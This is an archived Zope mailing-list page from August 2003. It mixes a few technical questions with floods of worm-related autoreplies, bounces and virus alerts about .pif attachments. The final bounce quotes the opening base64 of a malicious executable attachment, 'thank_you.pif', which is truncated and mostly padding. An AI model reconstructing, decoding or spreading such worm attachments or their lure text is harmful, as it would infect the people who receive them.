22 08:17:59 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 15:58:07 2003 Subject: [Zope] Re: Your details Message-ID: <1061536277.27679.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > Please see the attached file for details. From fjord at fjordimages.com Fri Aug 22 08:18:09 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 15:58:38 2003 Subject: [Zope] Re: Re: Approved Message-ID: <1061469100.6759.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > See the attached file for details From allison at sumeru.stanford.EDU Thu Aug 21 18:49:18 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Fri Aug 22 16:02:49 2003 Subject: [Zope] CookieCrumbler authentication for XMLRPC Message-ID: Yikes, I just can't seem to make it work. XMLRPC works fine with Basic Authentication but the system the XMLRPC needs to work with uses the CookieCrumbler Product--and, for the life of me, I cannot get it to authenticate. Help! From dshanaghy at 350nice.com Thu Aug 21 11:33:44 2003 From: dshanaghy at 350nice.com (Declan Shanaghy) Date: Fri Aug 22 16:03:16 2003 Subject: [Zope] zope hangs Message-ID: <20030821173344.31555.qmail@web80403.mail.yahoo.com> Since i upgraded to redhat 9.0 ive noticed that zope hangs a lot. It will accept a connection but never sends a response. Restarting zope fixes the problem for an undetermined time. Sometimes it'll stay sane for a long time, other times 1 or 2 requests later it hangs. I dont know if its redhat 9 related, but only since upgrading has this happened. Has anyone else seen this? From fjord at fjordimages.com Fri Aug 22 08:36:06 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 16:04:47 2003 Subject: [Zope] Re: Re: Re: My details Message-ID: <1061497777.22140.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > Please see the attached file for details. From fjord at fjordimages.com Fri Aug 22 08:46:29 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 16:10:04 2003 Subject: [Zope] Re: Your details Message-ID: <1061480319.23404.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > Please see the attached file for details. From fjord at fjordimages.com Fri Aug 22 09:01:14 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 16:17:36 2003 Subject: [Zope] Re: Your details Message-ID: <1061436884.24191.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > See the attached file for details From POSTMASTER at mail3.rits.idcomnet.no Wed Aug 20 19:34:32 2003 From: POSTMASTER at mail3.rits.idcomnet.no (POSTMASTER@mail3.rits.idcomnet.no) Date: Fri Aug 22 16:18:46 2003 Subject: [Zope] Undeliverable message Message-ID: <200308201636.h7KGaj7W004476@mail4.rits.idcomnet.no> ------- Failure Reasons -------- Address Service: miscellaneous error liv@seatrans.no ------- Returned Message -------- Received: from mail4.rits.idcomnet.no ([195.204.177.95]) by mail3.rits.idcomnet.no (Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) with SMTP id C1256D88.005AF963; Wed, 20 Aug 2003 18:33:40 +0200 Received: from mail5.rits.idcomnet.no (mail.nccnorge.no [213.172.193.35]) by mail4.rits.idcomnet.no (8.12.9/8.12.8) with ESMTP id h7KGZm7W004338 for ; Wed, 20 Aug 2003 18:35:48 +0200 Received: from PCKJEMI_OPPL ([62.97.227.98]) by mail5.rits.idcomnet.no (8.12.9/8.12.8) with ESMTP id h7KGZl9T001051 for ; Wed, 20 Aug 2003 18:35:47 +0200 Message-Id: <200308201635.h7KGZl9T001051@mail5.rits.idcomnet.no> From: To: Subject: Re: Thank you! Date: Wed, 20 Aug 2003 18:34:10 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_075F4C8F" This is a multipart message in MIME format --_NextPart_000_075F4C8F Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_075F4C8F-- From fjord at fjordimages.com Fri Aug 22 09:09:00 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 16:20:10 2003 Subject: [Zope] Re: Re: Re: My details Message-ID: <1061379751.29641.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > Please see the attached file for details. From ralph.gauges at eml.villa-bosch.de Wed Aug 20 14:52:02 2003 From: ralph.gauges at eml.villa-bosch.de (Ralph Gauges) Date: Fri Aug 22 16:29:19 2003 Subject: [Zope] md5sums of modules Message-ID: Hi, I just tried to download several modules for zope. After download I tried to compare their md5sums to those given on the website where I got the modules, but most of them were incorrect. Actually all of them were not the way they are supposed to be as I understand md5sums. According to what I read about md5sums, they are supposed to be 128 keys, but all of the keys I found for the module had a leading zero. OK, after removing this leading zero, some of the modules would verify OK, but again most were still wrong, missing some zeros somewhere. Sometimes 0 zero was missing and sometimes it was up to three zeros missing in the key. Other than that, the keys were identical to the ones I generate here with md5sum. Has anybody else noticed this problem? Below I have given the packages I downloaded, the top one is the key generated on my maschine, the one below is the one from the website. Can anybody tell me,why those zeros are missing in some of the keys and why they all do have a leading zero? Thanks a lot Ralph Please CC the answer to me since I am not subscribed to this list. e979ab4cf9b45cf075c4fb3979b19789 DTMLDocumentExt-0.2.tgz.gz 0e979ab4cf9b45cf075c4fb3979b19789 DTMLDocumentExt-0.2.tgz.gz b4da87c01e79970cb8bccf2848d88369 ExternalFile-1-2-0.zip 0b4da87c01e7997 cb8bccf2848d88369 ExternalFile-1-2-0.zip bd75d3e1d686e698967ddf4559316b14 HTMLDocument-0.9.1.tgz 0bd75d3e1d686e698967ddf4559316b14 HTMLDocument-0.9.1.tgz 9a55c6996fd29aeb4610b18060870204 LocalFS-0.10.1.tgz 09a55c6996fd29aeb4610b1806087 2 4 LocalFS-0.10.1.tgz 31b20184521229abdfbf0b277f07d4e2 Redirector-1.2.1.tgz 031b2 184521229abdfbf b277f 7d4e2 Redirector-1.2.1.tgz 122d9b83a9459baba696c533b449bd51 SQLForms-3.5.tgz 0122d9b83a9459baba696c533b449bd51 SQLForms-3.5.tgz da68d8f2cc542c6eb85aa6da87047f7a UnifiedHtmlDocument.tar.gz 0da68d8f2cc542c6eb85aa6da87 47f7a UnifiedHtmlDocument.tar.gz 74332272e53b13c6b19d3185d575699c ZMySQLDA-2.0.8.tar.gz 074332272e53b13c6b19d3185d575699c ZMySQLDA-2.0.8.tar.gz From MAILER-DAEMON at aol.com Fri Aug 22 05:44:00 2003 From: MAILER-DAEMON at aol.com (Mail Delivery Subsystem) Date: Fri Aug 22 16:31:16 2003 Subject: [Zope] Returned mail: User unknown Message-ID: <200308220844.EAE28484@rly-xm04.mx.aol.com> The original message was received at Fri, 22 Aug 2003 04:43:46 -0400 (EDT) from cpe250.clearpar.com [12.109.168.132] *** ATTENTION *** Your e-mail is being returned to you because there was a problem with its delivery. The address which was undeliverable is listed in the section labeled: "----- The following addresses had permanent fatal errors -----". The reason your mail is being returned to you is listed in the section labeled: "----- Transcript of Session Follows -----". The line beginning with "<<<" describes the specific reason your e-mail could not be delivered. The next line contains a second error message which is a general translation for other e-mail servers. Please direct further questions regarding this message to your e-mail administrator. --AOL Postmaster ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to air-xm01.mail.aol.com.: >>> RCPT To: <<< 550 MAILBOX NOT FOUND 550 ... User unknown -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 663 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/2217c705/attachment-0001.bin From borge.kjeldstad at whiteflower.no Fri Aug 22 11:52:45 2003 From: borge.kjeldstad at whiteflower.no (=?iso-8859-1?Q?B=F8rge_Kjeldstad?=) Date: Fri Aug 22 16:34:46 2003 Subject: [Zope] A disappeaered cookie.. Message-ID: <000d01c3688a$c197ea40$0a00000a@borge> Hello :) To personalize a website I use cookies. That is; when a person chooses a link, a cookie is set like this: Now, this cookie is used to either include or not include a table of contents on all of the following pages that I (or actually guest C) visits: The looks like this: Show all
Hide all
(?topics? is here the folder containing all the pages that guest C may visit) This works fine untill guest C presses some of the links generated by the . If he or she for instance presses the ?Page 1? link, he comes to page 1, but page 1 does not include the even though page 1 still has the same statement: My question then is: What could be wrong here? Thank you very much :) B?rge Kjeldstadb -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030822/68829abd/attachment-0001.htm From fjord at fjordimages.com Fri Aug 22 09:56:52 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 16:36:10 2003 Subject: [Zope] Re: Re: Thank you! Message-ID: <1061440224.26269.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > See the attached file for details From postmaster at emirates.net.ae Thu Aug 21 23:22:11 2003 From: postmaster at emirates.net.ae (Internet Mail Delivery) Date: Fri Aug 22 16:37:57 2003 Subject: [Zope] Delivery Notification: Delivery has failed Message-ID: <0HJZ00DZ2F0ZX6@dxbrsmail1.emirates.net.ae> This report relates to a message you sent with the following header fields: Return-path: Return-path: Received: from ims-ms-daemon.dxbrsmail1.emirates.net.ae by dxbrsmail1.emirates.net.ae (I&ES Mail Server 4.2) id <0HJZ00DYXF0ZX6@dxbrsmail1.emirates.net.ae> (original mail from zope@zope.org); Thu, 21 Aug 2003 22:22:11 +0400 (GST) Received: from aimail4.emirates.net.ae by dxbrsmail1.emirates.net.ae (I&ES Mail Server 4.2) with ESMTP id <0HJZ00C6CEOH1H@dxbrsmail1.emirates.net.ae> for mts@ims-ms-daemon (ORCPT mts@emirates.net.ae); Thu, 21 Aug 2003 22:22:11 +0400 (GST) Received: from PCKJEMI_OPPL ([62.97.227.98]) by aimail4.emirates.net.ae (I&ES Mail Server 4.2) with ESMTP id <0HJZ00GGDF06C8@aimail4.emirates.net.ae> for mts@emirates.net.ae (ORCPT mts@emirates.net.ae); Thu, 21 Aug 2003 22:21:45 +0400 (GST) Date: Thu, 21 Aug 2003 20:20:12 +0200 From: zope@zope.org Subject: Re: Your application To: mts@emirates.net.ae Message-id: <0HJZ00GGGF07C8@aimail4.emirates.net.ae> MIME-version: 1.0 Content-type: multipart/mixed; boundary=_NextPart_000_0CE6C003 Your message cannot be delivered to the following recipients: Recipient address: mts@ims-ms-daemon Original address: mts@emirates.net.ae Reason: Over quota -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: zope@zope.org Subject: Re: Your application Date: Thu, 21 Aug 2003 20:20:12 +0200 Size: 1325 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/870c6584/attachment-0001.eml From nick at slip.csosl.co.uk Fri Aug 22 10:03:32 2003 From: nick at slip.csosl.co.uk (System Anti-Virus Administrator) Date: Fri Aug 22 16:42:51 2003 Subject: [Zope] Illegal attachment type found in sent message "Re: Re: My details" Message-ID: Attention: . A Illegal attachment type was found in an Email message you sent. This Email scanner intercepted it and stopped the entire message reaching it's destination. The Illegal attachment type was reported to be: BadTrans Virus Please contact your I.T support personnel with any queries regarding this policy. Your message was sent with the following envelope: MAIL FROM: zope@zope.org RCPT TO: nick@loman.net ... and with the following headers: From: To: Subject: Re: Re: My details Date: Wed, 20 Aug 2003 3:47:15 +0400 The original message is kept in: slip.csosl.co.uk:/var/spool/qmailscan/quarantine where the System Anti-Virus Administrator can further diagnose it. The Email scanner reported the following when it scanned that message: --- ---perlscanner results --- Illegal attachment type 'BadTrans Virus' found in file /var/spool/qmailscan/slip.csosl.co.uk106133691240817117/details.pif --- From paulporter at buffalotalks.com Thu Aug 21 10:51:15 2003 From: paulporter at buffalotalks.com (paulporter@buffalotalks.com) Date: Fri Aug 22 16:44:28 2003 Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password do I use? Message-ID: <55688.152.34.59.4.1061473875.squirrel@65.217.249.141> I've got Zope running but when I go to localhost:8080/manage I get a dialogbox wanting a user name and password. I didn't know what it was wanting so I created an "access" file using zpasswd.py but apparently it doesn't see this file because when I enter the user name and password that I put in the access file zope just regenerates the prompt dialogbox. I have made sure that I enter username/password exactly as found in the access file, I've tried copying th access file into the zope directory, that had no positive effect so I copied it into the zserver directory and that had no positive effect either. Could some kind soul please tell me how to get into Zope? Thanks for any help that might be offered. Paul From MAILER-DAEMON at relay1.tdcnorge.no Fri Aug 22 12:15:02 2003 From: MAILER-DAEMON at relay1.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 16:52:01 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308220915.h7M9F2220586@relay1.tdcnorge.no> The original message was received at Fri, 22 Aug 2003 11:14:58 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Re: My details Date: Fri, 22 Aug 2003 11:13:30 +0200 Size: 724 Url: http://lists.zope.org/pipermail/zope/attachments/20030822/377edd1f/attachment-0001.eml From lukesh at seznam.cz Fri Aug 22 11:57:28 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Fri Aug 22 16:54:04 2003 Subject: [Zope] I does not on the list?? Message-ID: <3F269CE0005596B8@stateless1.tiscali.cz> (added by postmaster@mail.tiscali.cz) I does not receive nothing from maillist from 2003/08/20 06:17am GMT JL. From MAILER-DAEMON at relay2.tdcnorge.no Fri Aug 22 12:34:18 2003 From: MAILER-DAEMON at relay2.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 16:57:01 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308220934.h7M9YIp03347@relay2.tdcnorge.no> The original message was received at Fri, 22 Aug 2003 11:34:14 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Wicked screensaver Date: Fri, 22 Aug 2003 11:32:46 +0200 Size: 728 Url: http://lists.zope.org/pipermail/zope/attachments/20030822/d6494343/attachment-0001.eml From fjord at fjordimages.com Fri Aug 22 10:46:25 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 17:00:23 2003 Subject: [Zope] Re: Thank you! Message-ID: <1061455598.10804.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > See the attached file for details From postmaster at tle.de Fri Aug 22 09:53:44 2003 From: postmaster at tle.de (postmaster@tle.de) Date: Fri Aug 22 17:05:46 2003 Subject: [Zope] VIRUS IN YOUR MAIL Message-ID: <20030822065344.A0AB852164@openmail.tle.intern> V I R U S A L E R T Our viruschecker found the virus in your email to the following recipient: -> rekunde@tle.intern Delivery of the email was stopped! Please check your system for viruses, or ask your system administrator to do so. For your reference, here are the SMTP envelope originator and headers from your email: >From zope@zope.org ------------------------- BEGIN HEADERS ----------------------------- Received: from mail2.tle.de (unknown [90.50.100.171]) by openmail.tle.intern (Postfix) with ESMTP id 590E052084 for ; Fri, 22 Aug 2003 08:53:44 +0200 (CEST) Received: from BESPRECH (pD9E63D93.dip.t-dialin.net [217.230.61.147]) by mail2.tle.de (8.12.6/8.12.6) with ESMTP id h7M6rJlr010595 for ; Fri, 22 Aug 2003 08:53:21 +0200 Message-Id: <200308220653.h7M6rJlr010595@mail2.tle.de> From: To: Subject: Re: Details Date: Fri, 22 Aug 2003 8:53:38 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_004FADF3" -------------------------- END HEADERS ------------------------------ From administrator at binz.com Fri Aug 22 12:13:00 2003 From: administrator at binz.com (administrator@binz.com) Date: Fri Aug 22 17:14:38 2003 Subject: [Zope] Virus Alert Message-ID: <200308220913.h7M9D0A26800@gate.binz.com> The mail message (file: thank_you.pif) you sent to canalini@binz.com contains a virus. (on proxy) From MAILER-DAEMON at tv2.no Thu Aug 21 04:50:42 2003 From: MAILER-DAEMON at tv2.no (Mail Delivery System) Date: Fri Aug 22 17:22:39 2003 Subject: [Zope] Delayed Mail (still being retried) Message-ID: <20030821015042.6647727747B@scan1.tv2.no> This is the Postfix program at host scan1.tv2.no. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 24.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : Command died with signal 9: "/usr/local/anomy/filter.sh" -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 438 bytes Desc: Undelivered Message Headers Url : http://lists.zope.org/pipermail/zope/attachments/20030821/8269ece5/attachment-0001.bin From redhat-list-request at redhat.com Thu Aug 21 08:49:05 2003 From: redhat-list-request at redhat.com (redhat-list-request@redhat.com) Date: Fri Aug 22 17:29:47 2003 Subject: [Zope] Mailman results for redhat-list Message-ID: <20030821114905.30036.76961.Mailman@listman.back-rdu.redhat.com> This is an automated response. There were problems with the email commands you sent to Mailman via the administrative address . To obtain instructions on valid Mailman email commands, send email to with the word "help" in the subject line or in the body of the message. If you want to reach the human being that manages this mailing list, please send your message to . The following is a detailed description of the problems. >>>>> Subject line ignored: >>>>> Re: Thank you! Command? This is a multipart message in MIME format Command? --_NextPart_000_0033D23C Command? Content-Type: text/plain; Command? charset="iso-8859-1" >>>>> >>>>> Too many errors encountered; the rest of the message is ignored: > Content-Transfer-Encoding: 7bit > > Please see the attached file for details. > --_NextPart_000_0033D23C > Content-Type: application/octet-stream; > name="thank_you.pif" > Content-Transfer-Encoding: base64 > Content-Disposition: attachment; > filename="thank_you.pif" > > TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v > ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em > nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA > TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA > AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA > AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu > c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS > AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA > AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACchVndAcNB3 > 